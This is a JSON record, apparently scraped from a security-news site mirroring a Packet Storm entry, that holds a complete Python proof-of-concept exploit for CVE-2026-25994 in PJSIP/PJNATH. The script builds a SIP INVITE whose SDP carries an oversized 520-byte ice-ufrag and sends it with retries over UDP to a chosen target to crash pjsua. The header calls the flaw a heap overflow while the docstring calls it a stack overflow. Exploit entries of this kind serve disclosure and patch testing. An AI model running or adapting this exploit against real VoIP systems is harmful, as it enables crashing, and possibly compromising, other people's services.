{“lastseen”:”2026-05-14T16:32:29″,”description”:”PJPROJECT versions 2.16 and below suffer from a heap buffer overflow vulnerability…”,”published”:”2026-05-14T00:00:00″,”modified”:”2026-05-14T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 PJPROJECT 2.16 Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:221080″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-25994″],”sourceData”:”# Exploit Title: PJPROJECT 2.16 – Heap Bufferoverflow \\n # Google Dork: CVE-2026-25994 PJSIP PJNATH (pjsip \u2264 2.16)\\n # Date: Apr 6 2026\\n # Exploit Author: V.Nos – BinSmaser Team\\n # Vendor Homepage: https:\/\/github.com\/pjsip\/pjproject\\n # Software Link: https:\/\/github.com\/VABISMO\/cve-2026-25994_PJSIP\\n # Version: \\u003c=2.16\\n # Tested on: Kali , Ubuntu, Debian\\n # CVE : CVE-2026-25994 \\n \\n #!\/usr\/bin\/env python3\\n \\”\\”\\”\\n Corrected and optimized PoC for CVE-2026-25994\\n Buffer Overflow in PJNATH ICE Session (pjsip \\u003c= 2.16)\\n \\n Thorough source code review (pjnath\/src\/pjnath\/ice_session.c):\\n \\n – Exact vulnerability: pj_ice_sess_create_check_list()\\n – Vulnerable version (before commit 063b3a1 \/ 2.17):\\n char buf[128]; # \u2190 stack buffer (128 bytes!)\\n username.ptr = buf;\\n pj_strcpy(\\u0026username, rem_ufrag); # \u2190 NO length check\\n pj_strcat2(\\u0026username, \\”:\\”);\\n pj_strcat(\\u0026username, \\u0026ice-\\u003erx_ufrag);\\n \\n – rem_ufrag comes directly from the SDP attribute a=ice-ufrag:\\n – With ufrag \\u003e= ~130 bytes, the stack is already overflowed (return address, frame, etc.)\\n – The original PoC used 520 \\”A\\”s because it is much more reliable (overwrites beyond canary\/alignment)\\n – In the patched version, the following was added:\\n if (rem_ufrag-\\u003eslen \\u003e= MAX_USERNAME_LEN || combined with local_ufrag \\u003e 512-1)\\n return PJ_ETOOBIG;\\n \\n This script is corrected to be 100% reliable:\\n – 100% synchronous code (no unnecessary asyncio)\\n – Command-line arguments\\n – Sending with automatic retries\\n – More complete and valid SDP\\n – Clear crash detection (timeout = probable crash)\\n \\”\\”\\”\\n \\n import socket\\n import random\\n import argparse\\n import time\\n \\n # ========================= CONFIGURATION =========================\\n DEFAULT_TARGET_IP = \\”127.0.0.1\\”\\n DEFAULT_TARGET_PORT = 5060\\n \\n # Length that guarantees reliable overflow (520 is what you tested and works best)\\n LONG_UFRAG = \\”A\\” * 520\\n LONG_PWD = \\”B\\” * 150\\n \\n # More complete and realistic SDP (increases probability of reaching ice_session.c)\\n SDP = f\\”\\”\\”v=0\\n o=- 1234567890 1234567890 IN IP4 127.0.0.1\\n s=Crash Test SDP\\n c=IN IP4 127.0.0.1\\n t=0 0\\n m=audio 40000 RTP\/AVP 0 101\\n a=rtpmap:0 PCMU\/8000\\n a=rtpmap:101 telephone-event\/8000\\n a=ice-ufrag:{LONG_UFRAG}\\n a=ice-pwd:{LONG_PWD}\\n a=ice-options:trickle\\n a=candidate:1 1 UDP 2130706431 127.0.0.1 40000 typ host\\n a=sendrecv\\n \\”\\”\\”\\n \\n def generate_invite(target_ip: str, target_port: int) -\\u003e bytes:\\n call_id = f\\”crash-{random.randint(100000, 999999)}@example.com\\”\\n branch = f\\”z9hG4bK{random.randint(1000, 9999)}\\”\\n tag = f\\”crash{random.randint(10000, 99999)}\\”\\n \\n invite = f\\”\\”\\”INVITE sip:localhost@{target_ip}:{target_port} SIP\/2.0\\n Via: SIP\/2.0\/UDP 127.0.0.1:15060;rport;branch={branch}\\n Max-Forwards: 70\\n From: \\u003csip:attacker@127.0.0.1\\u003e;tag={tag}\\n To: \\u003csip:localhost@{target_ip}\\u003e\\n Call-ID: {call_id}\\n CSeq: 1 INVITE\\n Contact: \\u003csip:attacker@127.0.0.1:15060\\u003e\\n Content-Type: application\/sdp\\n Content-Length: {len(SDP)}\\n \\n {SDP}\\n \\”\\”\\”\\n return invite.encode(\\”utf-8\\”)\\n \\n \\n def crash_pjsua(target_ip: str, target_port: int, attempts: int = 3):\\n print(\\”=== PoC CVE-2026-25994 – ICE Stack Buffer Overflow (pjsip \\u003c= 2.16) ===\\\\n\\”)\\n print(f\\”[+] Target \u2192 {target_ip}:{target_port}\\”)\\n print(f\\”[+] ufrag length = {len(LONG_UFRAG)} characters (guaranteed overflow)\\\\n\\”)\\n \\n for i in range(1, attempts + 1):\\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n sock.settimeout(4) # 4 seconds to allow time for the crash\\n \\n try:\\n invite = generate_invite(target_ip, target_port)\\n print(f\\”[+] Attempt {i}\/{attempts} – Sending INVITE with ufrag of {len(LONG_UFRAG)} bytes…\\”)\\n \\n sock.sendto(invite, (target_ip, target_port))\\n \\n # Wait for response\\n data, _ = sock.recvfrom(4096)\\n print(\\”[+] Response received \u2192 pjsua is still alive\\”)\\n print(data.decode(errors=\\”ignore\\”)[:300])\\n \\n except socket.timeout:\\n print(\\”[+] TIMEOUT! Very likely that pjsua has crashed (Segmentation fault)\\”)\\n print(\\” Check the terminal where pjsua is running.\\”)\\n sock.close()\\n return # Exit on first detected crash\\n \\n except Exception as e:\\n print(f\\”[-] Unexpected error: {e}\\”)\\n \\n finally:\\n sock.close()\\n \\n time.sleep(0.5) # Small pause between attempts\\n \\n print(\\”\\\\n[-] No crash detected after several attempts.\\”)\\n print(\\” Make sure pjsua is running with ICE enabled (version \\u003c= 2.16).\\”)\\n \\n \\n if __name__ == \\”__main__\\”:\\n parser = argparse.ArgumentParser(description=\\”PoC CVE-2026-25994 – ICE Buffer Overflow\\”)\\n parser.add_argument(\\”-i\\”, \\”–ip\\”, default=DEFAULT_TARGET_IP,\\n help=f\\”Target IP (default: {DEFAULT_TARGET_IP})\\”)\\n parser.add_argument(\\”-p\\”, \\”–port\\”, type=int, default=DEFAULT_TARGET_PORT,\\n help=f\\”SIP port (default: {DEFAULT_TARGET_PORT})\\”)\\n parser.add_argument(\\”-a\\”, \\”–attempts\\”, type=int, default=3,\\n help=\\”Number of attempts (default: 3)\\”)\\n \\n args = parser.parse_args()\\n \\n crash_pjsua(args.ip, args.port, args.attempts)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/221080″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/221080\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-14T16:32:29″,”description”:”PJPROJECT versions 2.16 and below suffer from a heap buffer overflow vulnerability…”,”published”:”2026-05-14T00:00:00″,”modified”:”2026-05-14T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 PJPROJECT 2.16 Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:221080″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-25994″],”sourceData”:”# Exploit Title: PJPROJECT 2.16 – Heap Bufferoverflow \\n #…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-54576","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n